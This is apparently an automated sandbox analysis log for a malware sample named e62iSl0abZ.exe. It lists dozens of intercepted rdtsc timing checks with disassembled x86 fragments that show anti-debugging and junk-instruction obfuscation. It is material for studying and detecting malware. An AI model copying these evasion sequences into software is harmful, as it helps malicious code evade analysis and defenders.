Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EF0437 second address: EF043B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EF043B second address: EF0453 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a jmp 00007FF9A052A48Bh 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA38EF second address: EA3955 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF9A139226Ah 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007FF9A1392268h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 clc 0x0000002a mov edi, dword ptr [ebp+122D20E8h] 0x00000030 mov ebx, dword ptr [ebp+12484958h] 0x00000036 cld 0x00000037 mov dword ptr [ebp+122D234Bh], esi 0x0000003d add eax, ebx 0x0000003f mov dword ptr [ebp+1245D54Bh], edx 0x00000045 nop 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007FF9A139226Eh 0x0000004d rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EA3955 second address: EA39C3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF9A052A48Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FF9A052A499h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007FF9A052A488h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b push 00000004h 0x0000002d clc 0x0000002e nop 0x0000002f push edx 0x00000030 push eax 0x00000031 jmp 00007FF9A052A492h 0x00000036 pop eax 0x00000037 pop edx 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b js 00007FF9A052A488h 0x00000041 push ecx 0x00000042 pop ecx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EF0704 second address: EF0727 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF9A1392266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jnl 00007FF9A1392266h 0x00000011 push edx 0x00000012 pop edx 0x00000013 pop edx 0x00000014 push edx 0x00000015 jc 00007FF9A1392272h 0x0000001b jc 00007FF9A1392266h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EF0894 second address: EF089E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EF4A01 second address: EF4A06 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EF4B51 second address: EF4B55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EF4B55 second address: EF4B64 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF9A1392266h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EF4B64 second address: EF4B6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EF4CBF second address: EF4CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EF4CC4 second address: EF4CCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EF4CCB second address: EF4CF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF9A1392274h 0x0000000b popad 0x0000000c jp 00007FF9A139226Eh 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EF4E45 second address: EF4E4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EF515C second address: EF5160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EF5160 second address: EF5164 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EF5164 second address: EF517E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF9A1392270h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EF517E second address: EF5184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EFBBA5 second address: EFBBA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EFBBA9 second address: EFBBB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EFCF97 second address: EFCF9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EFCF9F second address: EFCFAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 je 00007FF9A052A486h 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EFCFAE second address: EFCFBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FF9A1392266h 0x0000000a je 00007FF9A1392266h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EFD805 second address: EFD80F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FF9A052A486h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EFD80F second address: EFD82D instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF9A1392266h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FF9A139226Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EFD82D second address: EFD840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 ja 00007FF9A052A488h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: EFD840 second address: EFD846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F00AD9 second address: F00ADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F00ADE second address: F00AE3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F00D84 second address: F00D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F00D88 second address: F00D9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FF9A139226Ch 0x0000000c jnp 00007FF9A1392266h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F00D9A second address: F00DA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F00DA0 second address: F00DA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F00DA6 second address: F00DAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F00F33 second address: F00F37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F00F37 second address: F00F41 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF9A052A486h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F00F41 second address: F00F47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F010AF second address: F010B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F010B4 second address: F010BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F010BA second address: F010BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F0131A second address: F0131E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F0131E second address: F01332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c pop eax 0x0000000d jnl 00007FF9A052A486h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F0160B second address: F0162F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FF9A139226Eh 0x0000000c pushad 0x0000000d jne 00007FF9A139226Ch 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F0F9D0 second address: F0F9F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jnl 00007FF9A052A486h 0x0000000b push edx 0x0000000c pop edx 0x0000000d jmp 00007FF9A052A496h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F0E01B second address: F0E022 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F0E022 second address: F0E02E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F0E02E second address: F0E033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F0E1A0 second address: F0E1A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F0E5E5 second address: F0E5E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F0E5E9 second address: F0E5EF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F0E5EF second address: F0E601 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FF9A139226Bh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E5FAF4 second address: E5FB16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF9A052A491h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007FF9A052A486h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E5FB16 second address: E5FB1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E5FB1E second address: E5FB24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: E5FB24 second address: E5FB2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F14F1A second address: F14F33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF9A052A494h 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F14F33 second address: F14F38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F14F38 second address: F14F89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jmp 00007FF9A052A494h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ecx 0x00000013 jmp 00007FF9A052A493h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FF9A052A498h 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F150AD second address: F150B3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F150B3 second address: F150B8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F150B8 second address: F150DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007FF9A1392292h 0x0000000f jbe 00007FF9A139226Eh 0x00000015 jg 00007FF9A1392266h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 pop edi 0x00000021 jo 00007FF9A1392266h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F28209 second address: F2820E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F2820E second address: F2821A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF9A1392266h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F27DDC second address: F27DE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F343C6 second address: F343CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F3A89C second address: F3A8A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F3A8A7 second address: F3A8DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 jo 00007FF9A1392278h 0x0000000c jmp 00007FF9A1392272h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF9A1392272h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F3A8DE second address: F3A8E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F3E01E second address: F3E023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F4A346 second address: F4A34B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F4C91C second address: F4C922 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F4C922 second address: F4C928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F8DBCE second address: F8DBFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF9A139226Dh 0x00000009 je 00007FF9A1392266h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF9A1392270h 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F85CC8 second address: F85CCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F85CCE second address: F85CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FF9A139226Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jno 00007FF9A1392266h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F9D8FA second address: F9D924 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FF9A052A495h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop eax 0x0000000f push edi 0x00000010 jnc 00007FF9A052A486h 0x00000016 pop edi 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: F9F596 second address: F9F59C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 106D7CA second address: 106D7E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A052A493h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 106D7E6 second address: 106D7EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 106C813 second address: 106C825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF9A052A48Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 106C993 second address: 106C9B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF9A1392277h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 106C9B5 second address: 106C9C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF9A052A48Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 106CF72 second address: 106CF77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 106CF77 second address: 106CF8C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF9A052A48Eh 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 106D0F2 second address: 106D101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jl 00007FF9A139226Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 106D25B second address: 106D288 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jno 00007FF9A052A486h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FF9A052A493h 0x00000014 jl 00007FF9A052A486h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 106D288 second address: 106D292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF9A1392266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 1071AC4 second address: 1071B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007FF9A052A488h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 push 00000004h 0x00000025 push 00000000h 0x00000027 push ebp 0x00000028 call 00007FF9A052A488h 0x0000002d pop ebp 0x0000002e mov dword ptr [esp+04h], ebp 0x00000032 add dword ptr [esp+04h], 0000001Ch 0x0000003a inc ebp 0x0000003b push ebp 0x0000003c ret 0x0000003d pop ebp 0x0000003e ret 0x0000003f mov edx, dword ptr [ebp+122D38C5h] 0x00000045 call 00007FF9A052A489h 0x0000004a jo 00007FF9A052A4A2h 0x00000050 pushad 0x00000051 push edi 0x00000052 pop edi 0x00000053 jmp 00007FF9A052A498h 0x00000058 popad 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007FF9A052A494h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\e62iSl0abZ.exeRDTSC instruction interceptor: First address: 1071B58 second address: 1071B67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF9A139226Bh 0x00000009 rdtsc
